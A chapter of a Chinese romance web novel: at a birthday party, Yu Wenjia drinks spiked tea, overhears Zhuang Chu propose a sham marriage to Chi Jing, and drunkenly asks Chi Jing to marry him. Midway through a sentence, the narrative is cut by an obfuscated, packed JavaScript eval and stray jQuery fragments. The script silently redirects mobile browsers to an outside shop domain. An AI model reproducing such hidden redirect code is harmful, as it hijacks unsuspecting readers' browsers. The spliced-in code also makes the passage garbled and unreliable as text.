20.第 20 章
    20

    客厅突然一暗,管家把大灯关了,推着插了蜡烛的蛋糕从厨房走出来,他一出来,就有人欢呼了一声。余闻嘉在昏暗中沉默地看着池镜,他们的对话也就此中断。

    “寿星还杵这儿干嘛呢。”有人过来把池镜拉去了客厅,不知是谁带头唱起了生日歌,一群人将池镜围在中央,跟着生日歌的节奏边唱歌边拍手。池镜快三十了,其实还是头一回跟这么多人一起过生日,回想过去那几年……今天,还真是热闹。

    许愿,吹蜡烛,在一片祝福声中,池镜下意识抬头找余闻嘉,看到他站在最外圈,嘴唇微动,似乎是说了一句“生日快乐”。

    管家分完蛋糕后,池镜忙着招呼他的朋友同学,余闻嘉本想找个没人的地方待着,丁铭却给他拿了一小碟蛋糕过来:“来,蛋糕。”

    余闻嘉不喜欢吃甜的,但还是接过说了声“谢谢”。

    丁铭笑着问他:“不太喜欢这种场合吧。”

    余闻嘉说:“还好。”

    余闻嘉脸上的厌世味都能冻死人了,丁铭不相信他只是“还好”。

    丁铭的话倒是提醒了余闻嘉,这样的场合,池镜的生日,自己要是表现得不太合群,似乎不太好。

    丁铭这边刚坐下,转脸就看到余闻嘉走了过来,坐在了离他不远的单人沙发上。丁铭拿了个杯子问他:“喝点什么?你喝酒吗?”

    余闻嘉摇头。

    “那饮料?还是凉茶?”

    余闻嘉想了想,说:“凉茶吧。”

    丁铭给他倒了杯凉茶,放茶几上轻轻一推,杯子滑到了余闻嘉面前。

    “谢谢铭哥。”

    丁铭笑着说了声“不客气”。

    池镜一直在招呼朋友,余闻嘉跟他说不上话,他食不知味地吃着蛋糕,下意识去摸口袋里的手机,摸了个空,这才想起来手机落在厨房了。

    余闻嘉回厨房拿了手机,发现他妈五分钟前给他打了电话,他回拨过去,在厨房跟他妈通了会儿话。

    余闻嘉从厨房出来的时候发现沙发那儿聚了不少人,丁铭拿着话筒在唱歌,他扫视一圈,不见池镜的身影。

    余闻嘉坐了回去,蛋糕已经吃不下了,他被奶油腻得有点反胃。他端起刚才的凉茶喝了一口,不知道谁往杯子里倒了酒,一口下去呛得他咳了起来。

    他心不在焉,满脑子都是池镜刚才说的那些话,喝这一口时根本没来得及分辨,直接入喉。从来没喝过酒的余闻嘉脖子一下子变得通红,丁铭刚巧唱完歌,走过来看到他从脖子到脸整个都红透了。

    “怎么了这是?”丁铭拍了拍他的背。

    余闻嘉捂着嘴闷声咳嗽,头已经开始有点晕了。

    “喝酒了吧?”旁边有人说了一句,“是不是拿错杯子了。”

    丁铭转头看了眼桌上的酒杯,拿到鼻子底下仔细地闻了闻,杯子倒是没拿错,但不知道是哪个喝糊涂了的老兄往这里面倒了酒,还跟凉茶一个颜色,应该是度数不低的洋酒。洋酒不像白酒,味道闻起来没有那么大,余闻嘉刚才喝之前八成没留神。

    看样子余闻嘉应该也没喝多少,丁铭给他拿了瓶矿泉水,笑道:“你这是一点酒都喝不了啊,脸红成这样。难受吗?”

    余闻嘉垂着脑袋没说话。

    丁铭弯腰看了看他:“没事儿吧?”

    余闻嘉摇摇头,嗓子有点哑:“没事。”

    庄楚接完电话独自在院子里待了一会儿,进来的时候看到客厅茶几上放着已经分掉一半的蛋糕。进屋后没多久,他爸的电话就打了过来。庄楚朝卫生间的方向走去,冷着脸接了电话。

    他停在长廊拐角处,听他爸说话,他爸冷静又不容置喙地指出他必须重新考虑跟某人的关系。

    “谢家,对我们家的生意会有很大助力,你要搞清楚这一点。”

    “跟我有什么关系?”

    庄楚有自己的事业,家族生意并未参与其中,庄父对此也确实没道理借题发挥。

    他缓和态度,换了个切入口,但语气依旧强硬:“你也到年纪了,还不需要考虑这方面的事吗?”

    “所以我就一定要选择他?为了你的生意?”

    “那你有的选吗?”庄父的声音冷了下来,“别以为你做的那些荒唐事我都不知道,也别以为我不知道你在想什么,你真是把人生当儿戏。”

    “荒唐?在你眼里,什么算是荒唐?不服从你的要求和命令就算是荒唐了吗。”

    “你以为你单单是荒唐在这吗?我怎么会养出你这样的儿子。”

    庄楚满不在乎地笑笑:“不就是你把我养成这样的吗,我这副样子,不是随了你吗。自私,冷血,虚伪,这都是随了你啊,爸。”

    余闻嘉喝了小半瓶矿泉水,头晕仍然没有得到缓解,并且酒劲慢慢上来,他的头还越来越晕了。他能清晰地感觉到自己的意识在渐渐变得恍惚,就像临睡前的状态,思绪和思维都很混乱,脑海里唯一清晰的是池镜的面孔。余闻嘉抬起头,视线里的人都在晃动,他找不到池镜的身影,于是脑海里的人影也渐渐模糊了。

    丁铭侧身凑过来,一脸担心地看着他:“你确定你没事?要不要扶你上楼躺会儿?楼上有房间。”

    余闻嘉闭了下眼睛,嗓音变得格外沉,他问丁铭:“池镜呢?”

    “不知道啊,去洗手间了吧。”

    余闻嘉呼吸沉重,扶着沙发靠背慢慢站起身,丁铭扶了他一下:“我带你上楼躺会儿吧,你这样池镜回来了我没法儿跟他交代。”

    余闻嘉把胳膊从他手里抽出来,缓缓摇了下头,说:“我去洗手间。”

    “我带你过去。”

    余闻嘉摇头,自己一个人过去了,丁铭从后面看他走路挺正常的,不像喝多了的人一样脚步打晃,就是走得很慢。

    池镜因为胃疼,在洗手间待了很久。他今天没有喝太多,但喝了混酒,后劲大,现在头有点晕,胃里也烧得慌。回国前他有很长一段时间没喝过酒,胃也有一阵没犯过病了,最近跟朋友聚得多,喝得比较频繁,今天算是一次爆发,疼得他额头都出汗了。

    池镜打开水龙头洗了把脸,抽了几张纸巾把脸上的水擦干,之后扶着水池,低头捂着胃缓了好一会儿。

    不缓不行,总不能一脸病色地出现在他那帮朋友面前。

    池镜等胃没那么疼了才出洗手间,一出来就看到不远处庄楚靠墙站着,手臂直直地垂在身侧,手里握着手机。他头向后抵在墙上,微微仰头看着某一处放空。听到脚步声,庄楚侧了下头,池镜发现他面若冰霜。

    庄楚的表情凝滞两秒,随即脸上又挂上了那一贯的不带温度

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14200200|148595||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的笑容。

    这副样子看起来像出了什么事,池镜不想假装视而不见,走过去问了句:“怎么了?”

    “什么怎么了?”庄楚眨了下眼睛。

    他就是这样的人,高中那会儿就这样,池镜看了一眼他手机,笑了下:“老这么端着你不累么,我看着都累。——可以试着给自己松松绑。”

    庄楚怔了怔,随即弯着眼睛一笑:“这话是什么意思。”

    “你那么聪明,还需要我解释?”

    庄楚沉默片刻,垂眸笑了一声:“是不是觉得我装装的?”

    池镜点了点头:“是的。”

    “太坦诚了吧。”

    “所以学着点啊。”池镜用开玩笑的口吻开解他,“老那么端着,人会憋坏的。”

    庄楚盯着他看了一会儿,随后举起手机在他眼前晃了晃:“我爸,催我早点结婚呢,刚跟他吵了一架。”

    池镜知道事情肯定没他说得那么简单,但也没有多问。庄楚这个性子,不至于会因为这种事露出刚才那样的神情。

    有时候跟人交往就是这样,不能太较真,话不能问得太明白,人与人之间需要适当的距离感。

    池镜只能笑笑:“都躲不过这一遭。”

    庄楚话锋一转:“所以我之前给你的提议,你要不要再考虑一下?”

    池镜一时间没说话。

    庄楚眯了下眼睛:“你忘了?”

    池镜没忘,但也没放在心上。

    池镜摇头,他刚想开口,却被庄楚堵了回去:“你不是说家里有长辈生病了,盼着你早点结婚成家吗。老被催婚你也觉得很麻烦吧,你大可接受我的提议,这样既能解决你的麻烦,也能解决我的——”

    “事后我会安排好一切,你只需要给我个回答。”

    池镜沉默地听着,表情没有什么变化。

    庄楚再一次问他:“池镜,你要不要考虑跟我形婚?”

    余闻嘉扶墙站着,整个人已经晕得天旋地转,他意识恍惚地听着庄楚对池镜说的那些话,听得最清楚的就是这一句“你要不要考虑跟我形婚”。

    余闻嘉不知道自己是受酒精影响,还是出于本能,他手撑了一下墙站稳,径直朝池镜的方向走去,行动不再受理智控制。

    池镜正要开口,一抬眼却看到余闻嘉阔步向这边走来,一言不发地径直走到他面前。池镜这才注意到余闻嘉脸和脖子都是红的,身上还带着点酒气。

    余闻嘉直直地看着他,这个状态像是喝酒了,但眼里又有神,似乎很清醒。

    “你——”

    没等池镜开口,余闻嘉突然不带任何表情且语气没有一丝迟疑地说了一句:

    “镜哥,请你跟我结婚。”

    酒精可能还影响了余闻嘉大脑的语言组织系统,他脑子里那几个词胡乱一凑,话到嘴边就蹦出来这么一句——当然,酒精也刺激意识,牵出了他内心深处最真切的渴望。

    池镜怔住了。

    余闻嘉恍惚中记得自己好像是第一次从池镜脸上看到这么震惊的表情,震惊到眼眸好像都在颤。

    他的意识越来越混乱了,眼前池镜的脸也变得越来越模糊。

    池镜怔了好久,直到余闻嘉眼神逐渐变得迷离,下一秒眼睛一闭,猛地往前一倒,脑袋靠在了他肩上。